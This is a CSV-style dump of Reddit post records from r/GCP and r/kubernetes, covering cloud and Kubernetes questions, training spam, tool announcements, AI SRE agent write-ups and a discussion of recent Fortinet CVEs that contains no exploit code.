gcp?",harsha62,2,2,1575332595,/r/GCP/comments/e58e29/ttl_of_no_sql_database/,https://www.reddit.com/r/GCP/comments/e58e29/ttl_of_no_sql_database/,self.GCP,True,1,False,,arctic-shift,1781885549 e4wf4s,gcp,Google Cloud Platform Training,,vishnu178,1,0,1575277092,/r/GCP/comments/e4wf4s/google_cloud_platform_training/,https://docs.google.com/forms/d/e/1FAIpQLSeWXmCoJ06LXwUTutWcVtUFlLhVvA0RrtYPW0WS5IKqN7gilQ/viewform,docs.google.com,False,1,False,,arctic-shift,1781885549 e3r7e5,gcp,Google Cloud Platform Training In Hyderabad,,vishnu178,1,0,1575091267,/r/GCP/comments/e3r7e5/google_cloud_platform_training_in_hyderabad/,https://docs.google.com/forms/d/e/1FAIpQLSes57LD-T_Y_FW-RVBInWnjkzskoXihpZ9hE0tV2eeeTmMgPQ/viewform,docs.google.com,False,1,False,,arctic-shift,1781885549 e17y6q,gcp,https://stackexplorer.github.io/gcp/cloudrun/2019/11/23/What-is-cloud-run.html,,stackexplorer,0,0,1574642863,/r/GCP/comments/e17y6q/httpsstackexplorergithubiogcpcloudrun20191123whati/,https://www.reddit.com/r/GCP/comments/e17y6q/httpsstackexplorergithubiogcpcloudrun20191123whati/,self.GCP,True,1,False,,arctic-shift,1781885549 dy10ha,gcp,Why Google Cloud hasn't picked up in India yet?,,cloudinfo2019,1,0,1574069674,/r/GCP/comments/dy10ha/why_google_cloud_hasnt_picked_up_in_india_yet/,https://www.cloudmanagementinsider.com/why-google-cloud-hasnt-picked-up-in-india-yet/?utm_source=reddit&utm_medium=referral&utm_campaign=seeding&utm_term=gcp%20india&utm_content=google%20cloud,cloudmanagementinsider.com,False,1,False,,arctic-shift,1781885549 dvrhyc,gcp,Global Public Cloud Automation Market's Projected Growth looks promising,,cloudinfo2019,2,0,1573650404,/r/GCP/comments/dvrhyc/global_public_cloud_automation_markets_projected/,https://www.cloudmanagementinsider.com/global-cloud-automation-market-growth-research-and-market/?utm_source=reddit&utm_medium=referral&utm_campaign=seeding&utm_term=cloud%20automation%20market&utm_content=industry%20news,cloudmanagementinsider.com,False,1,False,,arctic-shift,1781885549 dvnot1,gcp,How do I update my docker container automatically in gcp compute engine?,"Hello, I want to build CICD pipeline on gcp. Currently, I build docker image using cloud build and push to cloud container registry. What I want is some kind of trigger is working to detect pushes of docker images on cloud registry, and automatically update docker containers in compute engines. But I can't find tools that exactly do this except gcp kubernetes engine. Kubernetes Engines is the only way to do this? Or there're other way to do this? Help me lol. Thanks",hjkim2246,2,1,1573626823,/r/GCP/comments/dvnot1/how_do_i_update_my_docker_container_automatically/,https://www.reddit.com/r/GCP/comments/dvnot1/how_do_i_update_my_docker_container_automatically/,self.GCP,True,1,False,,arctic-shift,1781885549 dvaes5,gcp,Anyone know the answer to this question? It's about Cloud Identity SAML,,nakamin,1,0,1573567544,/r/GCP/comments/dvaes5/anyone_know_the_answer_to_this_question_its_about/,https://stackoverflow.com/q/58811080/6031775,stackoverflow.com,False,1,False,,arctic-shift,1781885549 dusd0r,gcp,SASE: A sassy future of network security in cloud defined by Gartner,,cloudinfo2019,2,0,1573478847,/r/GCP/comments/dusd0r/sase_a_sassy_future_of_network_security_in_cloud/,https://www.cloudmanagementinsider.com/what-is-sase-secure-access-service-edge-gartner/?utm_source=reddit&utm_medium=referral&utm_campaign=seeding&utm_term=sase%20gartner&utm_content=cloud,cloudmanagementinsider.com,False,1,False,,arctic-shift,1781885549 dtd8q5,gcp,Is there enough transparency from cloud provider's end?,,cloudinfo2019,2,0,1573206837,/r/GCP/comments/dtd8q5/is_there_enough_transparency_from_cloud_providers/,https://www.cloudmanagementinsider.com/6-secrets-that-cloud-providers-never-tell-part-2/?utm_source=reddit&utm_medium=referral&utm_campaign=seeding&utm_term=cloud%20secrets%20part%202&utm_content=cloud,cloudmanagementinsider.com,False,1,False,,arctic-shift,1781885549 dqwjgt,gcp,The JEDI Contract: What really happened?,,cloudinfo2019,1,0,1572760430,/r/GCP/comments/dqwjgt/the_jedi_contract_what_really_happened/,https://www.cloudmanagementinsider.com/the-jedi-contract-what-really-happened/?utm_source=reddit&utm_medium=referral&utm_campaign=seeding&utm_term=jedi%20contract&utm_content=research,cloudmanagementinsider.com,False,1,False,,arctic-shift,1781885549 dqhc4q,gcp,Best Google Cloud Platform Online Training,,kamsali1992,1,0,1572682413,/r/GCP/comments/dqhc4q/best_google_cloud_platform_online_training/,https://i.redd.it/wj76hyhyd8w31.jpg,i.redd.it,False,1,False,,arctic-shift,1781885549 dky03y,gcp,About the GCP Services.,,kamsali1992,1,0,1571650415,/r/GCP/comments/dky03y/about_the_gcp_services/,http://www.powershow.com/view0/8eafe0-ZGM3N/About_the_GCP_Services_powerpoint_ppt_presentation#.Xa17P27D1W4.reddit,powershow.com,False,1,False,,arctic-shift,1781885549 di64j7,gcp,Free Demo & Guide Google Apigee API Engineer Dumps Pdf,[removed],hurtkarn,1,4,1571136384,/r/GCP/comments/di64j7/free_demo_guide_google_apigee_api_engineer_dumps/,https://www.reddit.com/r/GCP/comments/di64j7/free_demo_guide_google_apigee_api_engineer_dumps/,self.GCP,True,1,False,,arctic-shift,1781885549 db0eo1,gcp,Forbes’ Road to the Cloud - Part 1,,vsupitskiy,2,0,1569787500,/r/GCP/comments/db0eo1/forbes_road_to_the_cloud_part_1/,https://www.forbes.com/sites/forbesdigitalgroup/2019/09/27/forbes-road-to-the-cloudwhy-challenges-and-timeline/,forbes.com,False,1,False,,arctic-shift,1781885549 d8rzma,gcp,Installing CUDA driver without reboot and blind guesses,,cinek810,1,0,1569352897,/r/GCP/comments/d8rzma/installing_cuda_driver_without_reboot_and_blind/,https://funinit.wordpress.com/2019/09/17/short-and-always-working-install-cuda-on-gcp-vm-centos7/,funinit.wordpress.com,False,1,False,,arctic-shift,1781885549 d2rvs5,gcp,Nice way of exporting data from BigQuery into GCS,"Hi All, I have recently started using GCP. I am trying to export data from BQ to GCS. Total table size is 4.5TB. I understand that I can export data into split files of 1GB. This is I assume is brute force way of achieving the export. This involves thousands of file exports. Has anyone implemented an alternative to this? Any suggestions are welcomed.",bubhrara,1,0,1568215581,/r/GCP/comments/d2rvs5/nice_way_of_exporting_data_from_bigquery_into_gcs/,https://www.reddit.com/r/GCP/comments/d2rvs5/nice_way_of_exporting_data_from_bigquery_into_gcs/,self.GCP,True,1,False,,arctic-shift,1781885549 d2mkie,gcp,Everything You Need to Know About Google Cloud...,,nancyjsilva,1,0,1568188151,/r/GCP/comments/d2mkie/everything_you_need_to_know_about_google_cloud/,https://aishasimone247.tumblr.com/post/187638704324/everything-you-need-to-know-about-google-cloud,aishasimone247.tumblr.com,False,1,False,,arctic-shift,1781885549 d0hn6c,gcp,Google Drive Apps Pricing,[deleted],[deleted],1,0,1567781309,/r/GCP/comments/d0hn6c/google_drive_apps_pricing/,https://www.reddit.com/r/GCP/comments/d0hn6c/google_drive_apps_pricing/,self.GCP,True,1,False,,arctic-shift,1781885549 crkr99,gcp,Google credits!,"Hi everyone I am having 2000$ of google cloud credit with me but I use only 1500$ of it. So, Inl decided to sell my 200$ worth credit through a redeem code for just 150 $. Let me know if someone is in need!",alpha_man25,1,0,1566039382,/r/GCP/comments/crkr99/google_credits/,https://www.reddit.com/r/GCP/comments/crkr99/google_credits/,self.GCP,True,1,False,,arctic-shift,1781885549 cps8rm,gcp,App Engine Flex project - browsing through IE or Chrome,[deleted],[deleted],1,0,1565698186,/r/GCP/comments/cps8rm/app_engine_flex_project_browsing_through_ie_or/,https://www.reddit.com/r/GCP/comments/cps8rm/app_engine_flex_project_browsing_through_ie_or/,self.GCP,True,1,False,,arctic-shift,1781885549 chldag,gcp,Google Cloud Platform |AWS|AZURE,,Avnid,1,0,1564046462,/r/GCP/comments/chldag/google_cloud_platform_awsazure/,https://www.infiflex.com/,infiflex.com,False,1,False,,arctic-shift,1781885549 cfbl2i,gcp,Naming size limitations,In an attempt to perform a standardized naming convention across a hybrid cloud. What is the most restrictive Length and character type in gcp. I was able to find 64char for aws and am trying to figure out gcp limitations.,The_Cat_Is_Maybe,1,0,1563562575,/r/GCP/comments/cfbl2i/naming_size_limitations/,https://www.reddit.com/r/GCP/comments/cfbl2i/naming_size_limitations/,self.GCP,True,1,False,,arctic-shift,1781885549 c8mb7l,gcp,GCP,,Avnid,1,0,1562148583,/r/GCP/comments/c8mb7l/gcp/,https://www.infiflex.com/topic/products,infiflex.com,False,1,False,,arctic-shift,1781885549 c4m3li,gcp,Managing Databases with Google CLoud SQL,,Avnid,1,0,1561375946,/r/GCP/comments/c4m3li/managing_databases_with_google_cloud_sql/,https://www.infiflex.com/managing-databases-with-google-cloud-sql,infiflex.com,False,1,False,,arctic-shift,1781885549 c4ipas,gcp,"Google Big Query vs AWS Athena, is Big Query better even when taking into account partitioning?","I've been looking to use either one of these two and through my research I've found that Big Query beats out athena in both speed and cost but here's my issue. ​ I'm trying to store user based data that I can then query on demand for the user. The issue is since you can't partition Big Query by non date type columns there is no way to partition by users. Does this mean that every time I run a query it will be run against each and every user? Is there anyway to make this more efficient? ​ Is Big Query even the best option? We're looking at about 100mb of data a user a day or so and a lot of the data really isn't worth putting anywhere for better speed or analytics.",theC4T,2,0,1561353767,/r/GCP/comments/c4ipas/google_big_query_vs_aws_athena_is_big_query/,https://www.reddit.com/r/GCP/comments/c4ipas/google_big_query_vs_aws_athena_is_big_query/,self.GCP,True,1,False,,arctic-shift,1781885549 c1y1lo,gcp,You are looking for /r/googlecloud,,Panninini,3,1,1560834181,/r/GCP/comments/c1y1lo/you_are_looking_for_rgooglecloud/,https://www.reddit.com/r/GCP/comments/c1y1lo/you_are_looking_for_rgooglecloud/,self.GCP,True,1,False,,arctic-shift,1781885549 c0ib82,gcp,Cloud services |GCP,,Avnid,1,0,1560506471,/r/GCP/comments/c0ib82/cloud_services_gcp/,https://www.infiflex.com/,infiflex.com,False,1,False,,arctic-shift,1781885549 bhgbcz,gcp,Second!,"Seriously, NO one is using GCP? or does it has another page?",totaldude87,1,1,1556240408,/r/GCP/comments/bhgbcz/second/,https://www.reddit.com/r/GCP/comments/bhgbcz/second/,self.GCP,True,1,False,,arctic-shift,1781885549 bdmkao,gcp,first,!,kittydoses,1,0,1555369270,/r/GCP/comments/bdmkao/first/,https://www.reddit.com/r/GCP/comments/bdmkao/first/,self.GCP,True,1,False,,arctic-shift,1781885549 1ua3s7g,kubernetes,"Agent gateway patterns, how do you govern multi-agent pipelines?","We're moving from single LLM calls to multi-agent systems where agents call other agents, tools, and LLMs. The governance is getting hard to manage. We need rate limiting per agent, an audit trail of which agent called which tool, cost attribution per agent, and failover if an agent's LLM provider degrades. The problem is most LLM gateways assume one client calling one model. They don't really understand agent identity, so they can't enforce policy or attribute cost at the agent level. Kong has some agent support but it feels tacked on. So the real question is about the gateway layer. Do you route all agent traffic through a central gateway that knows which agent is calling, and apply policy and tracing there? Or do you push policies into each agent? We'd self-host it (we're on Kubernetes), and bonus if the same gateway can host MCP servers too.",Terrible-Market1264,1,0,1781879972,/r/kubernetes/comments/1ua3s7g/agent_gateway_patterns_how_do_you_govern/,https://www.reddit.com/r/kubernetes/comments/1ua3s7g/agent_gateway_patterns_how_do_you_govern/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1ua11y6,kubernetes,Which certs are worth it ?,"Question above, I'm managing a bare metal cluster for a small company but i wanna get some certs. I basically do most of the stuff, managment, infra, and talk with the devops guys. So what would you guys suggest ? ",IdeaUnique7286,1,0,1781873150,/r/kubernetes/comments/1ua11y6/which_certs_are_worth_it/,https://www.reddit.com/r/kubernetes/comments/1ua11y6/which_certs_are_worth_it/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u9xu4n,kubernetes,Weekly: Share your victories thread,Got something working? Figure something out? Make progress that you are excited about? Share here!,AutoModerator,1,0,1781863207,/r/kubernetes/comments/1u9xu4n/weekly_share_your_victories_thread/,https://www.reddit.com/r/kubernetes/comments/1u9xu4n/weekly_share_your_victories_thread/,self.kubernetes,True,1,False,Periodic,arctic-shift,1781885545 1u9wkas,kubernetes,Imposter Syndrome after failing twice.,"I just wanted to vent. I failed my second C.KA exam attempt, which my employer paid for. I'm feeling a lot of shame. I have 5 years of K8s experience and the exam wasn't that hard, but a combination of bad time management and anxiety resulted in me failing again. Now I don't know if I should be transparent with my boss or pay for another retake out of pocket. I'm so disappointent with myself. Any advice?",Money-Catch8222,1,0,1781858650,/r/kubernetes/comments/1u9wkas/imposter_syndrome_after_failing_twice/,https://www.reddit.com/r/kubernetes/comments/1u9wkas/imposter_syndrome_after_failing_twice/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u9g18h,kubernetes,Want to learn kubernetes,"I am working in AWS for 5 and half year, mainly working on AWS Ec2 Windows related issues. I have brief knowledge of other AWS services like VPC, lambda, IAM, CFN, Systems Manager, MGN/DRS, EBS, Autoscaling etc. ​ Wanted to learn kubernetes as I have spare time for 1 month. Do let me know where I can start so that I can finally start working on EKS. First, I want to know about kubernates, then will learn about EKS.",AdmirableCourage9876,1,0,1781811243,/r/kubernetes/comments/1u9g18h/want_to_learn_kubernetes/,https://www.reddit.com/r/kubernetes/comments/1u9g18h/want_to_learn_kubernetes/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u9eg7d,kubernetes,"I built a small GUI for wrangling Kubernetes secrets (base64 encode/decode + kubeseal), so I'd stop fat-fingering it in the terminal",[removed],UpperEntrepreneur890,1,0,1781807695,/r/kubernetes/comments/1u9eg7d/i_built_a_small_gui_for_wrangling_kubernetes/,https://www.reddit.com/r/kubernetes/comments/1u9eg7d/i_built_a_small_gui_for_wrangling_kubernetes/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u98txv,kubernetes,Stretch clusters,"Have you ever wanted to create an Amazon EKS cluster that spans multiple regions or multiple AWS accounts? Historically, you've had to create a separate EKS control plane in each satellite region where you wanted to deploy worker nodes. Using the features of EKS hybrid nodes (and some IAM gymnastics), I developed a solution that allows you to create stretch clusters, i.e. clusters that span VPCs located in different regions/accounts. This can be useful when you need to run a workload in another region because of capacity issues in the cluster's account, or when the workload needs to be closer to the data it is consuming and/or its users. Feedback and PRs are welcome. https://github.com/jicowan/eks-cross-region-nodes",NoReserve5094,1,0,1781795257,/r/kubernetes/comments/1u98txv/stretch_clusters/,https://www.reddit.com/r/kubernetes/comments/1u98txv/stretch_clusters/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u98l90,kubernetes,The hard part of autonomous SRE was never the AI. It's how much you trust it.,"**An AI agent just did the 3 AM on-call diagnosis I used to wake up for. In 30 seconds. On my laptop. With nothing but open source.** So I filmed the whole thing. One continuous take, no cuts. I crashed a real pod, the kernel killed it, and \~30 seconds later a full post-mortem landed in Slack: cause, fix, how to prevent the next one. No human on the keyboard. Then I showed it failing. On camera, I triggered a slow memory leak the agent *doesn't* catch - memory climbing 20 MB a minute while the dashboard swears everything is ""100% healthy."" Most vendor demos quietly cut that part. I think it's the most important part. **Because the hard part of autonomous SRE was never the AI. It's how much you trust it.** [That's Episode 1.](https://youtu.be/dn0682EoAs8) Four more to go - all free, all open source. # I would truly love to hear your thoughts- where would you draw the line on letting an agent act on your cluster, not just diagnose it? # ",natishalomX,1,0,1781794721,/r/kubernetes/comments/1u98l90/the_hard_part_of_autonomous_sre_was_never_the_ai/,https://www.reddit.com/r/kubernetes/comments/1u98l90/the_hard_part_of_autonomous_sre_was_never_the_ai/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u97js4,kubernetes,Thinking about building your own SRE agent at work? Here's what I learned doing it,"A few weeks ago I got tired enough of context-switching and wasting my exceedingly valuable engineering time investigating incidents, so I created an investigation agent which has been doing the bulk of the work for me since. We host thousands of k8s managed customer deployments, and incidents are a constant. Support tickets, Slack alerts, on-call pages, all landing on whoever is the on-call medic that week while they're also trying to get actual engineering work done. The thing about these incidents is that it's generally always the same process, and most of the time is spent figuring out what the problem is, not fixing it. You get notified, you try to understand a vague problem statement or catch up on a conversation that's been running for hours before you got pulled in, you start correlating data across kubernetes resources, metrics, logs, cloud config, recent releases, code changes across multiple repos, and somewhere in all of that you hopefully find a culprit. Sometimes you need to pull in someone who knows a specific component. Sometimes you're digging for an hour before anything surfaces. What all of that hinges on is three things: domain knowledge about your systems, procedural knowledge about how to investigate, and the ability to gather context quickly across many sources. All three of these are things an agent can either be given directly or generate itself over time. **The core is simpler than you think** Take a symptom, query the relevant surfaces, synthesize a diagnosis. The hard part isn't the AI, it's deciding what ""relevant surfaces"" means for your stack and giving the agent clean, structured access to each one. Once you have that, the agent can either narrow down the root cause significantly or find it outright. You stop spending the first twenty minutes of every incident just catching up. **Give the agent a procedural runbook, not a system prompt** The most important architectural decision you'll make is where operational knowledge lives. The instinct is to put it in the system prompt. Don't. It drifts, it's hard to maintain, and you end up with a wall of text the agent half-ignores. Instead, think of it like a procedural runbook written for an AI agent. A directed graph of investigation steps for a given failure shape: what to check, what tools to call, what the result means, where to branch next. The agent reads the current step, runs the suggested tool calls, records what it found, and picks the next branch. It repeats that until it reaches a conclusion. The benefit is the agent can only go where the procedure routes it. Every investigation for the same failure shape runs roughly the same way and every routing decision is a recorded tool call you can read back later. When a new failure shape comes up, you add a new procedure file. The agent doesn't need to be retrained or reprompted, it just loads it next time. You can also compose procedures, having one hand off to another or delegate to a sub-procedure and return, so you're not duplicating logic. Crucially, you don't have to write these from scratch. The agent can propose a new procedure from the output of a finished investigation. You review a diff, approve it, it goes into version control. The library grows from real incidents rather than from someone sitting down to write runbooks speculatively. **Give the agent a persistent knowledge store** Procedures capture what to do. You also need somewhere to capture what you know, things that are facts about your system rather than steps in a process. These are different and both matter. A good knowledge store has two kinds of entries: incident write-ups covering symptom, root cause, evidence and resolution, and entity profiles, one per long-lived component in your system describing what it is, how it tends to fail, and what's been learned about it over time. At the start of an investigation the agent correlates the current situation against past incidents before it starts digging. Instead of starting cold every time it can surface that it saw this exact pattern three months ago and here's what fixed it, with a real reference rather than a hallucinated memory. The discipline that makes this reliable is strict entity naming. If the agent searches with whatever phrasing it picks up from the ticket, incidents index under different ad-hoc names and cross-references stop working. Canonical names are what make recall actually useful rather than approximate. Same as with procedures, the agent proposes knowledge store entries from finished investigations. It drafts an entry, identifies the entities involved, you review and approve. Over time the store gets denser and recall gets better. Every incident that touches a known component adds signal for every future investigation involving that component. **Wire up your code repositories and treat them as first-class context** A huge amount of your organization's domain knowledge already lives in code repositories. Architecture notes, ADRs, internal tooling docs, service READMEs. When an agent has access to those, it's not starting from scratch every investigation trying to figure out what a given service does or how two components relate to each other. That context is already written down somewhere, you're just giving the agent a way to find it. Beyond domain knowledge, code is where you find the answer to a large class of incidents. Something broke, something changed, and the change is in a commit, a release, a dependency bump. Finding exactly what changed, in which service, and tracing why that broke something downstream requires reading code and release history. Most teams don't give their agent access to it and then wonder why it can't close the loop. Every repository your agent can reach should come with a short description of what it does and how it relates to your infrastructure. On top of that, consider generating a one-time summary of each repo covering the main details of the project, refreshed on request. That summary loads as context when the repo becomes relevant so the agent doesn't have to go spelunking through the codebase just to understand what it's looking at. When it actually needs to go deeper, checking commits around the time of an incident or reading a release, it can, but that should be the exception rather than the default. Metrics and kubernetes state can tell you something is wrong. A log excerpt can tell you an application is crashing and with what error. But if that's not enough, the code is where you find out why that error is happening in the first place. **Context and token explosion** Something worth understanding about how LLM agents work: every tool call the agent makes requires reloading the entire conversation context up to that point. That means context size doesn't grow linearly, it compounds. A tool that returns 100kb instead of 10kb doesn't cost you 10x more over the course of an investigation, it costs you significantly more than that because every subsequent tool call carries that extra weight forward. By the end of a long investigation with careless tool design you can end up paying for hundreds of thousands of tokens of noise to get at twenty lines that actually matter. Logs are the clearest example of this trap. The instinct is to fetch them and let the agent figure out what's relevant. Don't. The procedure should tell the agent what it's looking for before it touches any logs, a specific error pattern, a component, a time window, and the tool should do the filtering entirely on its own and hand back only what matched. The agent never sees the raw stream. The simplest pattern is just fetch current logs with a filter and a max byte limit on the response. For cases where you're hunting something specific in a high volume or fast-moving log stream, or where a first pass came back empty, you can get more deliberate. In our case that means an MCP tool that receives something like ""watch this pod's logs for up to 30 seconds and return any lines matching this error pattern"", streams and filters on its own, and returns either the matching lines or an empty result on timeout. This principle applies to every tool integration you build. Every tool should return the minimum useful signal for the current step, not everything it could possibly return. The procedural structure is what makes that achievable because the agent always has context about what it's trying to find before it calls the tool. Without it, tools default to returning everything and context bloats regardless of how well you've written them. **Other integrations worth considering** Beyond code repositories, the surfaces that tend to matter most are your cluster or infrastructure state (read-only, sensitive values redacted), your metrics system, your chat platform (the Slack thread where an incident landed usually contains observations that never made it into the ticket), your incident management tool if you use one, and your cloud provider if issues can originate there. How much value you get from each depends on your stack and where your incidents tend to originate. All of these should be optional, additive and return the least amount of information required for an effective investigation. Start with the one or two surfaces where most of your incidents actually start and wire in more as you go. **Write a brief about your platform** Before every investigation the agent should read a short document describing your platform: the conventions, the dependency structure, the components that tend to fail or how. It doesn't have to be elaborately detailed but it makes a real difference. An agent that already understands your system orients faster, makes fewer wrong turns, and asks better questions of its tools. If you want something that already implements these patterns and works today, I open sourced mine at [https://github.com/sourcehawk/triagent](https://github.com/sourcehawk/triagent). Fork it, try it, or just poke around the implementation. Contributions very welcome. Happy to answer questions about any of it in the comments.",Zealousideal_Sea7758,1,0,1781792288,/r/kubernetes/comments/1u97js4/thinking_about_building_your_own_sre_agent_at/,https://www.reddit.com/r/kubernetes/comments/1u97js4/thinking_about_building_your_own_sre_agent_at/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u93bkb,kubernetes,How are people reducing container attack surface after the latest Fortinet CVEs?,"[Three FortiSandbox CVEs being exploited rn:](https://thehackernews.com/2026/06/attackers-exploit-three-fortinet.html?m=1) * CVE-2026-39813 - auth bypass, patched April * CVE-2026-39808 - RCE via command injection, patched April * CVE-2026-25089 - RCE via WEB UI, patched last week the exploit for the last one is apparently ai generated and faulty  but still working enough to be a problem. also, saw the FortiBleed thing: 30k+ firewalls compromised across 194 countries. Attackers just reusing leaked creds and sniffing traffic for more passwords. makes me think: 1. attackers are fast: one of these was patched days ago and already being exploited 2. attack surface is everything Same applies to containers. Every extra package or dependency you ship is another potential entry point. less stuff = less to patch what others are doing to shrink attack surface in their container builds? ",PrincipleActive9230,1,0,1781780947,/r/kubernetes/comments/1u93bkb/how_are_people_reducing_container_attack_surface/,https://www.reddit.com/r/kubernetes/comments/1u93bkb/how_are_people_reducing_container_attack_surface/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u93a0h,kubernetes,How are people reducing container attack surface after the latest Fortinet CVEs?,"[Three FortiSandbox CVEs being exploited rn:](https://www.reddit.com/r/devsecops/comments/1u938gv/how_are_people_reducing_container_attack_surface/) * CVE-2026-39813 - auth bypass, patched April * CVE-2026-39808 - RCE via command injection, patched April * CVE-2026-25089 - RCE via WEB UI, patched last week the exploit for the last one is apparently ai generated and faulty  but still working enough to be a problem. also, saw the FortiBleed thing: 30k+ firewalls compromised across 194 countries. Attackers just reusing leaked creds and sniffing traffic for more passwords. makes me think: 1. attackers are fast: one of these was patched days ago and already being exploited 2. attack surface is everything Same applies to containers. Every extra package or dependency you ship is another potential entry point. less stuff = less to patch what others are doing to shrink attack surface in their container builds?",PrincipleActive9230,1,0,1781780808,/r/kubernetes/comments/1u93a0h/how_are_people_reducing_container_attack_surface/,https://www.reddit.com/r/kubernetes/comments/1u93a0h/how_are_people_reducing_container_attack_surface/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u92e7s,kubernetes,💡🚂 kubernetes-sigs/headlamp 0.43.0,"💡🚂 [kubernetes-sigs/headlamp 0.43.0](https://github.com/kubernetes-sigs/headlamp/releases/tag/v0.43.0) is presented to the world. This release adds native Windows Arm64 binaries, signed Mac binaries, Bengali language support, dry run preview for rollbacks, Node pool and AKS upgrade visualisations, deep links to pod logs, improvements and fixes for many different OIDC/authentication issues affecting AWS/Azure/Okta/Entra ID, EKS (amongst others). Also includes RTL layout support, batch scale for workloads, faster type checking, and numerous accessibility+stability+security improvements. Plus [more...](https://github.com/kubernetes-sigs/headlamp/releases/tag/v0.43.0)",illumen,1,0,1781777830,/r/kubernetes/comments/1u92e7s/kubernetessigsheadlamp_0430/,https://github.com/kubernetes-sigs/headlamp/releases/tag/v0.43.0,github.com,False,1,False,,arctic-shift,1781885545 1u923o7,kubernetes,Weekly: This Week I Learned (TWIL?) thread,Did you learn something new this week? Share here!,AutoModerator,1,0,1781776808,/r/kubernetes/comments/1u923o7/weekly_this_week_i_learned_twil_thread/,https://www.reddit.com/r/kubernetes/comments/1u923o7/weekly_this_week_i_learned_twil_thread/,self.kubernetes,True,1,False,Periodic,arctic-shift,1781885545 1u8yxgd,kubernetes,What metrics matter most when benchmarking AI API proxy providers?,"When comparing AI API proxy providers, price is usually the first thing people look at. But in production, I think the more important metrics are: • Request success rate • P95 latency • Error rate • Billing consistency • Model authenticity • Rate limit behavior • Support response time For teams using AI API proxies, what metrics would you include in a serious benchmark?",API315,1,0,1781765269,/r/kubernetes/comments/1u8yxgd/what_metrics_matter_most_when_benchmarking_ai_api/,https://www.reddit.com/r/kubernetes/comments/1u8yxgd/what_metrics_matter_most_when_benchmarking_ai_api/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u8wmh8,kubernetes,Share how to turn a Hermes agent into a team-wide agent using Kubernetes.,"My team uses the Hermes agent to offload tasks. But it's basically a personal agent so configuration is CLI-driven by default, which is painful for a team. Every configuration change meant executing into containers with no review. I built an operator that adds **Custom Resource** for agent configuration. The operator applies it via an **init container** before the main container starts. For instance, if I defines a skill in the `spec` an init container runs `hermes skills install` to install new skills and save the list in a file to check in next run. Now: \- `kubectl get` shows the declared state \- Changes go through PR/review \- No more manual container access Ex) https://preview.redd.it/jcuqyj5qzy7h1.png?width=1710&format=png&auto=webp&s=4c72375535991d8d244e8f561c77c8ceab333ba4 ",noah-h-lee,1,0,1781757485,/r/kubernetes/comments/1u8wmh8/share_how_to_turn_a_hermes_agent_into_a_teamwide/,https://www.reddit.com/r/kubernetes/comments/1u8wmh8/share_how_to_turn_a_hermes_agent_into_a_teamwide/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u8wjhv,kubernetes,Share how to makes hermes agent for team-wide agent with Kubernetes,"My team uses the Hermes agent to offload tasks. But it's basically a personal agent so configuration is CLI-driven by default, which is painful for a team. Every configuration change meant executing into containers with no review. I built an operator that adds **Custom Resource** for agent configuration. The operator applies it via an **init container** before the main container starts. For instance, if I defines a skill in the `spec` an init container runs `hermes skills install` to install new skills and save the list in a file to check in next run. Now: \- `kubectl get` shows the declared state \- Changes go through PR/review \- No more manual container access This is a part of `spec` of github-reviewer agent: [example](https://preview.redd.it/yas37f9mxy7h1.png?width=1536&format=png&auto=webp&s=b019ff4cda7835e97f38c473e05c6474fb49621f) ",noah-h-lee,1,0,1781757222,/r/kubernetes/comments/1u8wjhv/share_how_to_makes_hermes_agent_for_teamwide/,https://www.reddit.com/r/kubernetes/comments/1u8wjhv/share_how_to_makes_hermes_agent_for_teamwide/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u8vkdf,kubernetes,Profesional cloud architect,,Negative_Arrival_459,1,0,1781754137,/r/kubernetes/comments/1u8vkdf/profesional_cloud_architect/,/r/googlecloud/comments/1u8vjzb/profesional_cloud_architect/,,False,1,False,,arctic-shift,1781885545 1u8n7ti,kubernetes,Ceph with OSD-on-PVC on a stable pool,"I am looking for a solution that would work across multiple csp. I have tried longhorn in the past and it did not work when we moved to the cloud out of onprim. My group maintains multiple shared Kubernetes clusters across all 3 major csps (Amazon EKS, Azure AKS, and Google GKE) and currently we just use native storage for workloads. Since it is a shared cluster, we have app teams that just pick a storageclass out of the list and then complains when it does not work. I have done some research and it seems that Ceph with OSD-on-PVC with a stable storage pool might be what I am looking for. We looked at pure storage but it was cost prohibitive. Has anyone setup Ceph with OSD-on-PVC on a stable pool in multiple clouds ? TIA Keith",opiespank,1,5,1781731709,/r/kubernetes/comments/1u8n7ti/ceph_with_osdonpvc_on_a_stable_pool/,https://www.reddit.com/r/kubernetes/comments/1u8n7ti/ceph_with_osdonpvc_on_a_stable_pool/,self.kubernetes,True,0.6,False,,arctic-shift,1781885545 1u8c39f,kubernetes,DevOps Journey Tracker,,ahmedelerian3,0,0,1781707274,/r/kubernetes/comments/1u8c39f/devops_journey_tracker/,/r/devopsjobs/comments/1u8b7ld/devops_journey_tracker/,,False,0.33,False,,arctic-shift,1781885545 1u8b2xf,kubernetes,Running multi-agent AI on Kubernetes & lessons learned from Imagine Learning,"What happens to an in-flight LLM inference request when the pod gets evicted? Great podcast with Imagine Learning Staff Engineer Blake Romano, who shares his experience running multi-agent AI systems on Kubernetes for over a year. He's hit the real problems, including agents running inference for minutes at a time, stateful connections that need to survive pod churn, and work handoff when a node goes away mid-request. Their architecture consists of an orchestrator agent that routes to specialized sub-agents (Argo CD, internal docs, ticketing), each running as a Kubernetes deployment. When a developer asks why their S3 bucket isn't deploying, the orchestrator hits the Argo CD agent for current state and the docs agent for config requirements and synthesizes the answer. https://www.buoyant.io/ai-kubernetes-episode/running-multi-agent-ai-on-kubernetes-lessons-from-imagine-learning",cathpaga,0,0,1781704946,/r/kubernetes/comments/1u8b2xf/running_multiagent_ai_on_kubernetes_lessons/,https://www.reddit.com/r/kubernetes/comments/1u8b2xf/running_multiagent_ai_on_kubernetes_lessons/,self.kubernetes,True,0.4,False,,arctic-shift,1781885545 1u893fq,kubernetes,Paperlive Learning or Great Learning ?,"I wanted to join Online DevOps course , i came through multiple online platforms . Among multiple platforms , i have chalked out Paperlive Learning & Great Learning . Paperlive Learning seems to gives variety of certifications especially Microsoft & IIT Patna whereas GL doesnt have much certifications and classes are also self -paced as comapred to 100% online 